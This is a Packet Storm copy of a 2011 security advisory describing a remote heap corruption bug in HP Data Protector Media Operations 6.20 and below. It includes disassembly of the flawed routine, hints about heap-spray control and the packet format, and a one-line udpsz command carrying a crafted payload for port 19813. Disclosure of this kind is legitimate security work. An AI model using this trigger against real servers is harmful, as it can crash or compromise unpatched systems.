exploit the possibilities

HP Data Protector Media Operations 6.20 Heap Corruption

HP Data Protector Media Operations 6.20 Heap Corruption
Posted Nov 4, 2011
Authored by Luigi Auriemma | Site aluigi.org

HP Data Protector Media Operations versions 6.20 and below suffer from a heap corruption vulnerability.

tags | advisory
MD5 | 81d8be9e509e7a2f5ac42af0b7a4b848

HP Data Protector Media Operations 6.20 Heap Corruption

Change Mirror Download
#######################################################################

Luigi Auriemma

Application: HP Data Protector Media Operations
http://www8.hp.com/us/en/software/software-product.html?compURI=tcm:245-936920
Versions: <= 6.20
Platforms: Windows and others
Bug: heap corruption
Exploitation: remote, versus server
Date: 03 Nov 2011 (found 06 Jul 2011)
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"HP data protection software reduces backup and recovery complexity and
cost by protecting virtual and physical applications—whether you have
one server or thousands."


#######################################################################

======
2) Bug
======


Heap overflow/corruption through a big size packet:

0074D210 /$ 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8]
0074D214 |. 8BC1 MOV EAX,ECX
0074D216 |. 56 PUSH ESI
0074D217 |. 57 PUSH EDI
0074D218 |. 8BB8 7C170000 MOV EDI,DWORD PTR DS:[EAX+177C]
0074D21E |. 8B88 78170000 MOV ECX,DWORD PTR DS:[EAX+1778]
0074D224 |. 2BD7 SUB EDX,EDI
0074D226 |. 3BD1 CMP EDX,ECX
0074D228 |. 7F 53 JG SHORT DBServer.0074D27D
0074D22A |. 53 PUSH EBX
0074D22B |. 8B5C24 10 MOV EBX,DWORD PTR SS:[ESP+10]
0074D22F |. 85DB TEST EBX,EBX
0074D231 |. 74 15 JE SHORT DBServer.0074D248
0074D233 |. 8BCA MOV ECX,EDX
0074D235 |. 03FB ADD EDI,EBX
0074D237 |. 8BD9 MOV EBX,ECX
0074D239 |. 8D70 06 LEA ESI,DWORD PTR DS:[EAX+6]
0074D23C |. C1E9 02 SHR ECX,2
0074D23F |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
0074D241 |. 8BCB MOV ECX,EBX
0074D243 |. 83E1 03 AND ECX,3
0074D246 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
0074D248 |> 8B88 78170000 MOV ECX,DWORD PTR DS:[EAX+1778]
0074D24E |. 8D7402 06 LEA ESI,DWORD PTR DS:[EDX+EAX+6]
0074D252 |. 2BCA SUB ECX,EDX
0074D254 |. 8D78 06 LEA EDI,DWORD PTR DS:[EAX+6]
0074D257 |. 8988 78170000 MOV DWORD PTR DS:[EAX+1778],ECX
0074D25D |. 8BD1 MOV EDX,ECX
0074D25F |. C1E9 02 SHR ECX,2
0074D262 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
0074D264 |. 8BCA MOV ECX,EDX
0074D266 |. 5B POP EBX
0074D267 |. 83E1 03 AND ECX,3
0074D26A |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
0074D26C |. C780 7C170000 0>MOV DWORD PTR DS:[EAX+177C],0
0074D276 |. 5F POP EDI
0074D277 |. 33C0 XOR EAX,EAX
0074D279 |. 5E POP ESI
0074D27A |. C2 0800 RETN 8

The corruption can be controlled through the tuning of the packet size
and the preceeding heap spray with other valid packets.

Note that this function is used for any size field, included the one
used for example in the packet 0x10 ("01 02 03 04 10 32bit_size").


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

udpsz -D -T -C 03000001fffff0000102030404 -b a SERVER 19813 65536


#######################################################################

======
4) Fix
======


No fix.


#######################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close